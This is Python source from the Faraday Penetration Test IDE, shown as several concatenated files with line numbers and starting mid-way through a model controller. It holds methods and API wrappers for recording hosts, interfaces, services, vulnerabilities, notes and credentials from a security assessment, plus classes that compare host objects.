637 service.updateAttributes(name, description, protocol, ports, status, version, owned)
638 notifier.editHost(service.getHost())
639 res = True
640 return res
641
642 def addVulnToInterfaceASYNC(self, host, intId, newVuln):
643 self.__addPendingAction(modelactions.ADDVULNINT, newVuln, intId)
644
645 def addVulnToInterfaceSYNC(self, host, intId, newVuln):
646 self._processAction(modelactions.ADDVULNINT, [newVuln, intId], sync=True)
647
648 def addVulnToApplicationASYNC(self, host, appname, newVuln):
649 self.__addPendingAction(modelactions.ADDVULNAPP, host, appname, newVuln)
650
651 def addVulnToApplicationSYNC(self, host, appname, newVuln):
652 self._processAction(modelactions.ADDVULNAPP, [host, appname, newVuln], sync=True)
653
654 def addVulnToHostASYNC(self, hostId, newVuln):
655 self.__addPendingAction(modelactions.ADDVULNHOST, newVuln, hostId)
656
657 def addVulnToHostSYNC(self, hostId, newVuln):
658 self._processAction(modelactions.ADDVULNHOST, [newVuln, hostId], sync=True)
659
660 def addVulnToServiceASYNC(self, host, srvId, newVuln):
661 self.__addPendingAction(modelactions.ADDVULNSRV, newVuln, srvId)
662
663 def addVulnToServiceSYNC(self, host, srvId, newVuln):
664 self._processAction(modelactions.ADDVULNSRV, [newVuln, srvId], sync=True)
665
666 def addVulnSYNC(self, modelObjectId, newVuln):
667 self._processAction(modelactions.ADDVULN, [newVuln, modelObjectId], sync=True)
668
669 def addVulnWebToServiceASYNC(self, host, srvId, newVuln):
670 self.__addPendingAction(modelactions.ADDVULNWEBSRV, newVuln, srvId)
671
672 def addVulnWebToServiceSYNC(self, host, srvId, newVuln):
673 self._processAction(modelactions.ADDVULNWEBSRV, [newVuln, srvId], sync=True)
674
675 def delVulnFromApplicationASYNC(self, hostname, appname, vuln):
676 self.__addPendingAction(modelactions.DELVULNAPP, hostname, appname, vuln)
677
678 def delVulnFromApplicationSYNC(self, hostname, appname, vuln):
679 self._processAction(modelactions.DELVULNAPP, [hostname, appname, vuln], sync=True)
680
681 def delVulnFromInterfaceASYNC(self, hostname, intname, vuln):
682 self.__addPendingAction(modelactions.DELVULNINT, hostname, intname, vuln)
683
684 def delVulnFromInterfaceSYNC(self, hostname, intname, vuln):
685 self._processAction(modelactions.DELVULNINT, [hostname,intname, vuln], sync=True)
686
687 def delVulnFromHostASYNC(self, hostId, vulnId):
688 self.__addPendingAction(modelactions.DELVULNHOST, vulnId)
689
690 def delVulnFromHostSYNC(self, hostname, vulnId):
691 self._processAction(modelactions.DELVULNHOST, [vulnId], sync=True)
692
693 def delVulnFromServiceASYNC(self, hostname, srvname, vulnId):
694 self.__addPendingAction(modelactions.DELVULNSRV, vulnId)
695
696 def delVulnFromServiceSYNC(self, hostname, srvname, vulnId):
697 self._processAction(modelactions.DELVULNSRV, [vulnId], sync=True)
698
699 def delVulnSYNC(self, model_object, vuln_id):
700 self._processAction(modelactions.DELVULN, [vuln_id], sync=True)
701
702
703 def editVulnSYNC(self, vuln, name, desc, severity, refs):
704 self._processAction(modelactions.EDITVULN, [vuln, name, desc, severity, refs], sync=True)
705
706 def editVulnASYNC(self, vuln, name, desc, severity, refs):
707 self.__addPendingAction(modelactions.EDITVULN, vuln, name, desc, severity, refs)
708
709 def editVulnWebSYNC(self, vuln, name, desc, website, path, refs, severity,
710 request, response, method, pname, params, query,
711 category):
712 self._processAction(modelactions.EDITVULN,
713 [vuln, name, desc, website, path, refs, severity,
714 request, response, method, pname, params, query,
715 category], sync=True)
716
717 def editVulnWebASYNC(self, vuln, name, desc, website, path, refs,
718 severity, request, response, method, pname,
719 params, query, category):
720 self.__addPendingAction(modelactions.EDITVULN,
721 vuln, name, desc, website, path, refs,
722 severity, request, response, method,
723 pname, params, query, category)
724
725 # Note
726 def addNoteToInterfaceASYNC(self, host, intId, newNote):
727 self.__addPendingAction(modelactions.ADDNOTEINT, newNote, intId)
728
729 def addNoteToInterfaceSYNC(self, host, intId, newNote):
730 self._processAction(modelactions.ADDNOTEINT, [newNote, intId], sync=True)
731
732 def addNoteToApplicationASYNC(self, host, appname, newNote):
733 self.__addPendingAction(modelactions.ADDNOTEAPP, host, appname, newNote)
734
735 def addNoteToApplicationSYNC(self, host, appname, newNote):
736 self._processAction(modelactions.ADDNOTEAPP, [host, appname, newNote], sync=True)
737
738 def addNoteToHostASYNC(self, hostId, newNote):
739 self.__addPendingAction(modelactions.ADDNOTEHOST, newNote, hostId)
740
741 def addNoteToHostSYNC(self, hostId, newNote):
742 self._processAction(modelactions.ADDNOTEHOST, [newNote, hostId], sync=True)
743
744 def addNoteToServiceASYNC(self, host, srvId, newNote):
745 self.__addPendingAction(modelactions.ADDNOTESRV, newNote, srvId)
746
747 def addNoteToNoteASYNC(self, host, srvname, note_id, newNote):
748 self.__addPendingAction(modelactions.ADDNOTENOTE, newNote, note_id)
749
750 def addNoteToNoteSYNC(self, noteId, newNote):
751 self._processAction(modelactions.ADDNOTENOTE, [newNote, noteId], sync=True)
752
753 def addNoteToServiceSYNC(self, host, srvId, newNote):
754 self._processAction(modelactions.ADDNOTESRV, [newNote, srvId], sync=True)
755
756 def addNoteSYNC(self, model_object, newNote):
757 self._processAction(modelactions.ADDNOTE, [newNote, model_object], sync=True)
758
759 def delNoteFromApplicationASYNC(self, hostname, appname, note):
760 self.__addPendingAction(modelactions.DELNOTEAPP, hostname, appname, note)
761
762 def delNoteFromApplicationSYNC(self, hostname, appname, note):
763 self._processAction(modelactions.DELNOTEAPP, [hostname, appname, note], sync=True)
764
765 def delNoteFromInterfaceASYNC(self, hostname, intname, noteId):
766 self.__addPendingAction(modelactions.DELNOTEINT, noteId)
767
768 def delNoteFromInterfaceSYNC(self, hostname, intname, noteId):
769 self._processAction(modelactions.DELNOTEINT, [noteId], sync=True)
770
771 def delNoteFromHostASYNC(self, hostId, noteId):
772 self.__addPendingAction(modelactions.DELNOTEHOST, noteId)
773
774 def delNoteFromHostSYNC(self, hostname, noteId):
775 self._processAction(modelactions.DELNOTEHOST, [noteId], sync=True)
776
777 def delNoteFromServiceASYNC(self, hostId, srvId, noteId):
778 self.__addPendingAction(modelactions.DELNOTESRV, noteId)
779
780 def delNoteFromServiceSYNC(self, hostname, srvname, noteId):
781 self._processAction(modelactions.DELNOTESRV, [noteId], sync=True)
782
783 def delNoteSYNC(self, model_object, note_id):
784 self._processAction(modelactions.DELNOTE, [note_id], sync=True)
785
786 def addCredToServiceASYNC(self, host, srvId, newCred):
787 self.__addPendingAction(modelactions.ADDCREDSRV, newCred, srvId)
788
789 def addCredToServiceSYNC(self, host, srvId, newCred):
790 self._processAction(modelactions.ADDCREDSRV, [newCred, srvId], sync=True)
791
792 def delCredFromServiceASYNC(self, hostname, srvname, credId):
793 self.__addPendingAction(modelactions.DELCREDSRV, credId)
794
795 def delCredFromServiceSYNC(self, hostname, srvname, credId):
796 self._processAction(modelactions.DELCREDSRV, [credId], sync=True)
797
798
799 def editNoteSYNC(self, note, name, text):
800 self._processAction(modelactions.EDITNOTE, [note, name, text], sync=True)
801
802 def editNoteASYNC(self, note, name, text):
803 self.__addPendingAction(modelactions.EDITNOTE, note, name, text)
804
805 def editCredSYNC(self, cred, username, password):
806 self._processAction(modelactions.EDITCRED, [cred, username, password], sync=True)
807
808 def editCredASYNC(self, cred, username, password):
809 self.__addPendingAction(modelactions.EDITCRED, cred, username, password)
810
811 def addCredSYNC(self, model_object_id, newCred):
812 self._processAction(modelactions.ADDCRED, [newCred, model_object_id], sync=True)
813
814 def delCredSYNC(self, model_object, cred_id):
815 self._processAction(modelactions.DELCRED, [cred_id], sync=True)
816
817 def newHost(self, name, os="Unknown"):
818 return model.common.factory.createModelObject(
819 model.hosts.Host.class_signature,
820 name, os=os, parent_id=None)
821
822 def newInterface(self, name, mac="00:00:00:00:00:00",
823 ipv4_address="0.0.0.0",
824 ipv4_mask="0.0.0.0", ipv4_gateway="0.0.0.0", ipv4_dns=[],
825 ipv6_address="0000:0000:0000:0000:0000:0000:0000:0000",
826 ipv6_prefix="00",
827 ipv6_gateway="0000:0000:0000:0000:0000:0000:0000:0000",
828 ipv6_dns=[], network_segment="", hostname_resolution=[],
829 parent_id=None):
830 return model.common.factory.createModelObject(
831 model.hosts.Interface.class_signature,
832 name, mac=mac, ipv4_address=ipv4_address,
833 ipv4_mask=ipv4_mask, ipv4_gateway=ipv4_gateway, ipv4_dns=ipv4_dns,
834 ipv6_address=ipv6_address, ipv6_prefix=ipv6_prefix,
835 ipv6_gateway=ipv6_gateway, ipv6_dns=ipv6_dns,
836 network_segment=network_segment,
837 hostname_resolution=hostname_resolution, parent_id=parent_id)
838
839 def newService(self, name, protocol="tcp?", ports=[], status="running",
840 version="unknown", description="", parent_id=None):
841 return model.common.factory.createModelObject(
842 model.hosts.Service.class_signature,
843 name, protocol=protocol, ports=ports, status=status,
844 version=version, description=description, parent_id=parent_id)
845
846 def newVuln(self, name, desc="", ref=None, severity="", parent_id=None):
847 return model.common.factory.createModelObject(
848 model.common.ModelObjectVuln.class_signature,
849 name, desc=desc, ref=ref, severity=severity, parent_id=parent_id)
850
851 def newVulnWeb(self, name, desc="", ref=None, severity="", website="",
852 path="", request="", response="", method="", pname="",
853 params="", query="", category="", parent_id=None):
854 return model.common.factory.createModelObject(
855 model.common.ModelObjectVulnWeb.class_signature,
856 name, desc=desc, ref=ref, severity=severity,
857 website=website, path=path, request=request, response=response,
858 method=method, pname=pname, params=params, query=query,
859 category=category, parent_id=parent_id)
860
861 def newNote(self, name, text, parent_id=None):
862 return model.common.factory.createModelObject(
863 model.common.ModelObjectNote.class_signature,
864 name, text=text, parent_id=parent_id)
865
866 def newCred(self, username, password, parent_id=None):
867 return model.common.factory.createModelObject(
868 model.common.ModelObjectCred.class_signature,
869 username, password=password, parent_id=parent_id)
870
871 def getHost(self, name):
872 hosts_mapper = self.mappers_manager.getMapper(model.hosts.Host.__name__)
873 return hosts_mapper.find(name)
874
875 def getHostsCount(self):
876 return len(self._hosts)
877
878 def getAllHosts(self):
879 hosts = self.mappers_manager.getMapper(
880 model.hosts.Host.__name__).getAll()
881 return hosts
882
883 def getWebVulns(self):
884 return self.mappers_manager.getMapper(
885 model.common.ModelObjectVulnWeb.class_signature).getAll()
886
887 def createIndex(self, hosts):
888 self.treeWordsTries = TreeWordsTries()
889 self.treeWordsTries.clear()
890 for k in hosts.keys():
891 h = hosts[k]
892 self.treeWordsTries.addWord(h.getName())
893 for intr in h.getAllInterfaces():
894 ipv4 = intr.ipv4
895 ipv6 = intr.ipv6
896 if not ipv4['address'] in ["0.0.0.0", None]:
897 self.treeWordsTries.addWord(ipv4['address'])
898
899 if not ipv6['address'] in ["0000:0000:0000:0000:0000:0000:0000:0000", None]:
900 self.treeWordsTries.addWord(ipv6['address'])
901
902 for hostname in intr.getHostnames():
903 self.treeWordsTries.addWord(hostname)
904
905 def checkPermissions(self, op):
906 ## In order to use the decorator passPermissionsOrRaise
907 ## The client should implement checkPermissions method.
908 self.__sec.checkPermissions(op)
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6 class ModelObjectDiff(object):
7 def __init__(self, objLeft, objRight):
8 if not isinstance(objLeft, objRight.__class__):
9 raise Exception("Cannot compare objects of different classes. objLeft (%s) vs objRight (%s)"
10 % (objLeft.__class__.__name__, objRight.__class__.__name__))
11 self.obj1, self.obj2 = objLeft, objRight
12
13 self.conflicting = []
14 self.conflicting.extend(self.getPropertiesDiff())
15
16 self.only_in_obj1 = {}
17 self.only_in_obj2 = {}
18
19 def existDiff(self):
20 return bool(self.conflicting) or bool(self.only_in_obj1) or bool(self.only_in_obj2)
21
22
23 def getPropertiesDiff(self):
24 prop_diff = {}
25 for attrdesc, attrname in self.obj1.publicattrsrefs.items():
26 info = lambda attr_ref: attr_ref() if callable(attr_ref) else attr_ref
27 prop1 = info(self.obj1.__getattribute__(attrname))
28 prop2 = info(self.obj2.__getattribute__(attrname))
29 if prop1 != prop2:
30 prop_diff[attrdesc] = (prop1, prop2)
31
32 return prop_diff
33
34 def getDifferences(self, ObjDiff, getAllFunc, getById):
35 """ Polymorphic method to get the differences between the list of objects on a ModelObject.
36 Pass the ObjectDiff class, the unbound method to get all the objects and the one to get one by ID"""
37
38
39 only_in_obj1 = [ i for i in getAllFunc(self.obj1) if not i in getAllFunc(self.obj2) ]
40 only_in_obj2 = [ i for i in getAllFunc(self.obj2) if not i in getAllFunc(self.obj1) ]
41
42
43
44
45
46
47 return (only_in_obj1, only_in_obj2)
48
49 def getDifferencesIn(self, getAllFunc):
50 """ Polymorphic method to get the differences between the list of objects on a ModelObject.
51 Pass the ObjectDiff class, the unbound method to get all the objects and the one to get one by ID"""
52
53
54 only_in_obj1 = [ i for i in getAllFunc(self.obj1) if not i in getAllFunc(self.obj2) ]
55 only_in_obj2 = [ i for i in getAllFunc(self.obj2) if not i in getAllFunc(self.obj1) ]
56
57 return only_in_obj1, only_in_obj2
58
59 class HostDiff(ModelObjectDiff):
60 """A container for all the differences between two hosts"""
61 def __init__(self, h1, h2):
62 super(HostDiff, self).__init__(h1, h2)
63
64 obj1_only, obj2_only = self.getDifferencesIn(h1.__class__.getAllInterfaces)
65 if len(obj1_only):
66 self.only_in_obj1.update({"Interfaces": obj1_only})
67 if len(obj2_only):
68 self.only_in_obj2.update({"Interfaces": obj2_only})
69
70 obj1_only, obj2_only = self.getDifferencesIn(h1.__class__.getAllServices)
71 if len(obj1_only):
72 self.only_in_obj1.update({"Services": obj1_only})
73 if len(obj2_only):
74 self.only_in_obj2.update({"Services": obj2_only})
75
76 obj1_only, obj2_only = self.getDifferencesIn(h1.__class__.getVulns)
77 if len(obj1_only):
78 self.only_in_obj1.update({"Vulns": obj1_only})
79 if len(obj2_only):
80 self.only_in_obj2.update({"Vulns": obj2_only})
81
82 obj1_only, obj2_only = self.getDifferencesIn(h1.__class__.getAllApplications)
83 if len(obj1_only):
84 self.only_in_obj1.update({"Apps": obj1_only})
85 if len(obj2_only):
86 self.only_in_obj2.update({"Apps": obj2_only})
87
88 class InterfaceDiff(ModelObjectDiff):
89 pass
90
0 #!/usr/bin/env python
1 '''
2 Faraday Penetration Test IDE - Community Version
3 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
4 See the file 'doc/LICENSE' for the license information
5
6 '''
7
8 #from model.common import factory
9 import model.common
10 from gui.notifier import NotificationCenter
11 from config.configuration import getInstanceConfiguration
12 import model.api
13 #from model.api import showDialog, showPopup
14
15 CONF = getInstanceConfiguration()
16
17
18 notification_center = NotificationCenter()
19 __the_mainapp = None
20 __model_controller = None
21
22 def setMainApp(ref):
23 global __the_mainapp
24 __the_mainapp = ref
25 notification_center.setUiApp(__the_mainapp)
26
27 def getMainApp():
28 global __the_mainapp
29 return __the_mainapp
30
31 def getMainWindow():
32 global __the_mainapp
33 return __the_mainapp.getMainWindow()
34
35 def postCustomEvent(event, receiver=None):
36 if receiver is None:
37 receiver = getMainWindow()
38 __the_mainapp.postEvent(receiver, event)
39
40 def sendCustomEvent(event, receiver=None):
41 if receiver is None:
42 receiver = getMainWindow()
43 __the_mainapp.sendEvent(receiver, event)
44
45 def setUpGUIAPIs(controller):
46 global __model_controller
47 __model_controller = controller
48
49
50 def registerWidget(widget):
51 if widget is not None:
52 notification_center.registerWidget(widget)
53
54
55 def deregisterWidget(widget):
56 if widget is not None:
57 notification_center.deregisterWidget(widget)
58
59
60 def createAndAddHost(name, os="Unknown", category=None, update=False, old_hostname=None):
61 host = model.api.newHost(name, os)
62 if addHost(host, category, update, old_hostname):
63 return host.getID()
64 return None
65
66
67 def createAndAddInterface(host_id, name = "", mac = "00:00:00:00:00:00",
68 ipv4_address = "0.0.0.0", ipv4_mask = "0.0.0.0",
69 ipv4_gateway = "0.0.0.0", ipv4_dns = [],
70 ipv6_address = "0000:0000:0000:0000:0000:0000:0000:0000", ipv6_prefix = "00",
71 ipv6_gateway = "0000:0000:0000:0000:0000:0000:0000:0000", ipv6_dns = [],
72 network_segment = "", hostname_resolution = []):
73 """
74 Creates a new interface object with the parameters provided and adds it to
75 the host selected.
76 If interface is successfuly created and the host exists, it returns the inteface id
77 It returns None otherwise
78 """
79 interface = model.api.newInterface(name, mac, ipv4_address, ipv4_mask, ipv4_gateway,
80 ipv4_dns, network_segment, hostname_resolution, parent_id=host_id)
81 if addInterface(host_id, interface):
82 return interface.getID()
83 return None
84
85
86 def createAndAddServiceToInterface(host_id, interface_id, name, protocol = "tcp?",
87 ports = [], status = "running", version = "unknown", description = ""):
88 service = model.api.newService(name, protocol, ports, status, version, description, parent_id=interface_id)
89 if addServiceToInterface(host_id, interface_id, service):
90 return service.getID()
91 return None
92
93
94 def createAndAddVulnToHost(host_id, name, desc, ref, severity="0"):
95 vuln = model.api.newVuln(name, desc, ref, severity, parent_id=host_id)
96 if addVulnToHost(host_id, vuln):
97 return vuln.getID()
98 return None
99
100
101 def createAndAddVulnToInterface(host_id, interface_id, name, desc, ref, severity="0"):
102 vuln = model.api.newVuln(name, desc, ref, severity, parent_id=interface_id)
103 if addVulnToInterface(host_id, interface_id, vuln):
104 return vuln.getID()
105 return None
106
107
108 def createAndAddVulnToService(host_id, service_id, name, desc, ref, severity="0"):
109 vuln = model.api.newVuln(name, desc, ref, severity, parent_id=service_id)
110 if addVulnToService(host_id, service_id, vuln):
111 return vuln.getID()
112 return None
113
114
115 def createAndAddVulnWebToService(host_id, service_id, name, desc, website, path, ref=None, severity="0", request=None, response=None,
116 method=None,pname=None, params=None,query=None,category=None):
117 vuln = model.api.newVulnWeb(name, desc, website, path, ref, severity, request, response,
118 method,pname, params,query,category, parent_id=service_id)
119 if addVulnToService(host_id, service_id, vuln):
120 return vuln.getID()
121 return None
122
123
124 def createAndAddVuln(model_object, name, desc, ref=None, severity="0"):
125 vuln = model.api.newVuln(name, desc, ref, severity, parent_id=model_object.getID())
126 if addVuln(model_object.getID(), vuln):
127 return vuln.getID()
128 return None
129
130
131 def createAndAddVulnWeb(model_object, name, desc, website, path, ref=None, severity="0", request=None, response=None,
132 method=None,pname=None, params=None,query=None,category=None):
133 vuln = model.api.newVulnWeb(name, desc, ref, severity, website, path, request, response,
134 method, pname, params, query, category, parent_id=model_object.getID())
135 if addVuln(model_object.getID(), vuln):
136 return vuln.getID()
137 return None
138
139
140 def createAndAddNoteToHost(host_id, name, text):
141 note = model.api.newNote(name, text, parent_id=host_id)
142 if addNoteToHost(host_id, note):
143 return note.getID()
144 return None
145
146
147 def createAndAddNoteToInterface(host_id, interface_id, name, text):
148 note = model.api.newNote(name, text, parent_id=interface_id)
149 if addNoteToInterface(host_id, interface_id, note):
150 return note.getID()
151 return None
152
153
154 def createAndAddNoteToService(host_id, service_id, name, text):
155 note = model.api.newNote(name, text, parent_id=service_id)
156 if addNoteToService(host_id, service_id, note):
157 return note.getID()
158 return None
159
160
161 def createAndAddNote(model_object, name, text):
162 note = model.api.newNote(name, text, parent_id=model_object.getID())
163 if addNote(model_object.getID(), note):
164 return note.getID()
165 return None
166
167
168 def createAndAddCred(model_object, username, password):
169 cred = model.api.newCred(username, password, parent_id=model_object.getID())
170 if addCred(model_object.getID(), cred):
171 return cred.getID()
172 return None
173
174
175 def createAndAddCredToHost(host_id, username, password):
176 cred = model.api.newCred(username, password, parent_id=host_id)
177 if addCredToHost(host_id, cred):
178 return cred.getID()
179 return None
180
181
182 def createAndAddCredToService(host_id, service_id, username, password):
183 cred = model.api.newCred(username, password, parent_id=service_id)
184 if addCredToService(host_id, service_id, cred):
185 return cred.getID()
186 return None
187
188
189 def addHost(host, category=None, update = False, old_hostname = None):
190 if host is not None:
191 __model_controller.addHostSYNC(host, category, update, old_hostname)
192 return True
193 return False
194
195 def addInterface(host_id, interface):
196 if interface is not None:
197 __model_controller.addInterfaceSYNC(host_id, interface)
198 return True
199 return False
200
201 def addApplication(host_id, application):
202 if application is not None:
203 __model_controller.addApplicationSYNC(host_id, application)
204 return True
205 return False
206
207 def addServiceToApplication(host_id, application_id, service):
208 if service is not None:
209 __model_controller.addServiceToApplicationSYNC(host_id, application_id, service)
210 return True
211 return False
212
213 def addServiceToInterface(host_id, interface_id, service):
214 if service is not None:
215 __model_controller.addServiceToInterfaceSYNC(host_id, interface_id, service)
216 return True
217 return False
218
219
220
221 def addVulnToHost(host_id, vuln):
222 if vuln is not None:
223 __model_controller.addVulnToHostSYNC(host_id, vuln)
224 return True
225 return False
226
227 def addVulnToInterface(host_id, interface_id, vuln):
228 if vuln is not None:
229 __model_controller.addVulnToInterfaceSYNC(host_id, interface_id, vuln)
230 return True
231 return False
232
233 def addVulnToApplication(host_id, application_id, vuln):
234 if vuln is not None:
235 __model_controller.addVulnToApplicationSYNC(host_id, application_id, vuln)
236 return True
237 return False
238
239 def addVulnToService(host_id, service_id, vuln):
240 if vuln is not None:
241 __model_controller.addVulnToServiceSYNC(host_id, service_id, vuln)
242 return True
243 return False
244
245 def addVuln(model_object_id, vuln):
246 if vuln is not None:
247 __model_controller.addVulnSYNC(model_object_id, vuln)
248 return True
249 return False
250
251
252
253 def addNoteToHost(host_id, note):
254 if note is not None:
255 __model_controller.addNoteToHostSYNC(host_id, note)
256 return True
257 return False
258
259 def addNoteToInterface(host_id, interface_id, note):
260 if note is not None:
261 __model_controller.addNoteToInterfaceSYNC(host_id, interface_id, note)
262 return True
263 return False
264
265 def addNoteToApplication(host_id, application_id, note):
266 if note is not None:
267 __model_controller.addNoteToApplicationSYNC(host_id, application_id, note)
268 return True
269 return False
270
271 def addNoteToService(host_id, service_id, note):
272 if note is not None:
273 __model_controller.addNoteToServiceSYNC(host_id, service_id, note)
274 return True
275 return False
276
277 def addNote(model_object_id, note):
278 if note is not None:
279 __model_controller.addNoteSYNC(model_object_id, note)
280 return True
281 return False
282
283
284 def addCred(model_object_id, cred):
285 if cred is not None:
286 __model_controller.addCredSYNC(model_object_id, cred)
287 return True
288 return False
289
290 def addCredToService(host_id, service_id, cred):
291 if cred is not None:
292 __model_controller.addCredToServiceSYNC(host_id, service_id, cred)
293 return True
294 return False
295
296 def addCredToHost(host_id, cred):
297 if cred is not None:
298 __model_controller.addCredToHostSYNC(host_id, cred)
299 return True
300 return False
301
302
303 def delHost(host_id):
304 __model_controller.delHostSYNC(host_id)
305 return True
306
307 def delApplication(host_id, application_id):
308 __model_controller.delApplicationSYNC(host_id, application_id)
309 return True
310
311 def delInterface(host_id, interface_id):
312 __model_controller.delInterfaceSYNC(host_id, interface_id)
313 return True
314
315 def delServiceFromHost(host_id, service_id):
316 __model_controller.delServiceFromHostSYNC(host_id, service_id)
317 return True
318
319 def delServiceFromInterface(host_id, interface_id, service_id):
320 __model_controller.delServiceFromInterfaceSYNC(host_id, interface_id, service_id)
321 return True
322
323 def delServiceFromApplication(host_id, application_id, service_id):
324 __model_controller.delServiceFromApplicationSYNC(host_id, application_id, service_id)
325 return True
326
327
328
329 def delVulnFromApplication(vuln, hostname, appname):
330 __model_controller.delVulnFromApplicationSYNC(hostname, appname, vuln)
331 return True
332
333 def delVulnFromInterface(vuln, hostname, intname):
334 __model_controller.delVulnFromInterfaceSYNC(hostname,intname, vuln)
335 return True
336
337 def delVulnFromHost(vuln, hostname):
338 __model_controller.delVulnFromHostSYNC(hostname,vuln)
339 return True
340
341
342 def delVulnFromService(vuln, hostname, srvname):
343 __model_controller.delVulnFromServiceSYNC(hostname,srvname, vuln)
344 return True
345
346 def delVuln(model_object_id, vuln_id):
347 __model_controller.delVulnSYNC(model_object_id, vuln_id)
348 return True
349
350
351
352 def delNoteFromApplication(note, hostname, appname):
353 __model_controller.delNoteFromApplicationSYNC(hostname, appname, note)
354 return True
355
356 def delNoteFromInterface(note, hostname, intname):
357 __model_controller.delNoteFromInterfaceSYNC(hostname,intname, note)
358 return True
359
360 def delNoteFromHost(note, hostname):
361 __model_controller.delNoteFromHostSYNC(hostname, note)
362 return True
363
364
365 def delNoteFromService(note, hostname, srvname):
366 __model_controller.delNoteFromServiceSYNC(hostname,srvname, note)
367 return True
368
369 def delNote(model_object_id, note_id):
370 __model_controller.delNoteSYNC(model_object_id, note_id)
371 return True
372
373
374 def delCred(model_object_id, cred_id):
375 __model_controller.delCredSYNC(model_object_id, cred_id)
376 return True
377
378 def delCredFromHost(cred, hostname):
379 __model_controller.delCredFromHostSYNC(hostname, cred)
380 return True
381
382
383 def delCredFromService(cred, hostname, srvname):
384 __model_controller.delCredFromServiceSYNC(hostname,srvname, cred)
385 return True
386
387
388
389
390
391 def editHost(host, name=None, description=None, os=None, owned=None):
392 __model_controller.editHostSYNC(host, name, description, os, owned)
393 return True
394
395 def editService(service, name=None, description=None, protocol=None, ports=None, status=None, version=None, owned=None):
396 __model_controller.editServiceSYNC(service, name, description, protocol, ports, status, version, owned)
397 return True
398
399 def editApplication(application, name, description, status, version, owned):
400 __model_controller.editApplicationSYNC(application, name, description, status, version, owned)
401 return True
402
403 def editInterface(interface, name=None, description=None, hostnames=None, mac=None, ipv4=None, ipv6=None, network_segment=None,
404 amount_ports_opened=None, amount_ports_closed=None, amount_ports_filtered=None, owned=None):
405 __model_controller.editInterfaceSYNC(interface, name, description, hostnames, mac, ipv4, ipv6, network_segment,
406 amount_ports_opened, amount_ports_closed, amount_ports_filtered, owned)
407 return True
408
409 def editNote(note, name=None, text=None):
410 __model_controller.editNoteSYNC(note, name, text)
411 return True
412
413 def editVuln(vuln, name=None, desc=None, severity=None, refs=None):
414 __model_controller.editVulnSYNC(vuln, name, desc, severity, refs)
415 return True
416
417 def editVulnWeb(vuln, name=None, desc=None, website=None, path=None, refs=None, severity=None, request=None, response=None,
418 method=None,pname=None, params=None,query=None,category=None):
419 __model_controller.editVulnWebSYNC(vuln, name, desc, website, path, refs, severity, request, response,
420 method,pname, params,query,category)
421 return True
422
423 def editCred(cred, username=None, password=None):
424 __model_controller.editCredSYNC(cred, username, password)
425 return True
426
427
428 def getParent(parent_id):
429 return __model_controller.find(parent_id)
430
431
432 def resolveConflicts():
433 __model_controller.resolveConflicts()
434
435 def resolveConflict(conflict, kwargs):
436 __model_controller.resolveConflict(conflict, kwargs)
437
438 def merge(host1, host2):
439 return __model_controller.merge(host1, host2)
0 #!/usr/bin/env python
1 '''
2 Faraday Penetration Test IDE - Community Version
3 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
4 See the file 'doc/LICENSE' for the license information
5
6 '''
7
8 from config.configuration import getInstanceConfiguration
9 from model.common import ModelObject, ModelObjectNote, ModelObjectVuln, ModelObjectVulnWeb, ModelObjectCred, ModelComposite, ModelLeaf
10 from model.common import Metadata
11 from utils.common import *
12 from utils.decorators import updateLocalMetadata
13
14 import model.api as api
15 try:
16 import IPy
17 except ImportError:
18 print "[-] Python module IPy was not found in the system, please install it and try again"
19 print "[-] ex: sudo pip install IPy"
20 CONF = getInstanceConfiguration()
21
22 class Host(ModelComposite):
23 """
24 Represents a host found in the network.
25 A hosts can have 1 or more interfaces and also 1 or more services (apps)
26 Services can be reached through all host interfaces or only some of them
27 The host has some attributes that are filled by the pen test tools run by
28 the user
29 """
30
31 class_signature = "Host"
32
33 def __init__(self, name, os = "Unknown", default_gateway=None, dic=None, parent_id=None):
34 ModelComposite.__init__(self, parent_id)
35 self._interfaces = {}
36 self._applications = {}
37 self.categories = []
38 if dic is not None:
39 self._fromDict(dic)
40 else:
41 self.__init(name, os, default_gateway)
42
43 def __init(self, name, os = "Unknown", default_gateway=None):
44 self._name = None
45 if name is not None:
46 self.setName(name)
47 self._name = name
48 self._operating_system = os if os else "Unknown"
49 self._default_gateway = api.getLocalDefaultGateway() \
50 if default_gateway is None else default_gateway
51
52 def _updatePublicAttributes(self):
53
54 self.publicattrs['Operating System'] = 'getOS'
55 self.publicattrsrefs['Operating System'] = '_operating_system'
56
57 def accept(self, visitor):
58 """ Accept method for visitor in the host leaf"""
59 for ints in self.getAllInterfaces():
60 ints.accept(visitor)
61 visitor.visit(self)
62
63 def getCategories(self):
64 return self.categories
65
66 def getCurrentCategory(self):
67
68 cat = CONF.getDefaultCategory()
69 try:
70 cat = self.getCategories()[0]
71 except:
72 pass
73 return cat
74
75 def updateID(self):
76 self._id = get_hash([self._name])
77 self._prependParentId()
78
79 def setOS(self, newOS):
80 self._operating_system = newOS
81
82 def getOS(self):
83 return self._operating_system
84
85 operating_system = property(getOS, setOS)
86
87 def setName(self, newName):
88
89 self._name = newName
90
91 def getName(self):
92 return self._name
93
94 name = property(getName, setName)
95
96 def getDefaultGateway(self):
97 return self._default_gateway
98
99 def setDefaultGateway(self, default_gateway):
100 self._default_gateway = default_gateway
101
102
103 #@save
104 @updateLocalMetadata
105 def updateAttributes(self, name=None, description=None, os=None, owned=None):
106 if name is not None:
107 self.setName(name)
108 if description is not None:
109 self.setDescription(description)
110 if os is not None:
111 self.setOS(os)
112 if owned is not None:
113 self.setOwned(owned)
114
115 def setInterfaces(self, interfaces):
116 self._addChildsDict(interfaces)
117
118 def getAllInterfaces(self, mode = 0):
119 return self.getChildsByType(Interface.__name__)
120
121 def getInterface(self, value):
122 """
123 value can be mac or ip address
124 if value is found it returns the interface objets
125 it returns None otherwise
126 """
127 return self.childs.get(value, None)
128
129
130 def getService(self, name):
131 """
132 if name is found it returns the service object
133 it returns None otherwise
134 """
135 service = None
136 for interface in self.getAllInterfaces():
137 if interface.getService(name):
138 service = interface.getService(name)
139 break
140 return service
141
142 @updateLocalMetadata
143 def addApplication(self, newApp, update=False, setparent=True): # Deprecated
144 return self._addValue("_applications", newApp,
145 setparent=setparent, update=update)
146
147 @updateLocalMetadata
148 def delApplication(self, appID): # Deprecated
149
150 app = self.getApplication(appID)
151 if app is not None:
152 for srv in app.getAllServices():
153 srv.delApplication(appID)
154
155 return self._delValue("_applications", appID)
156
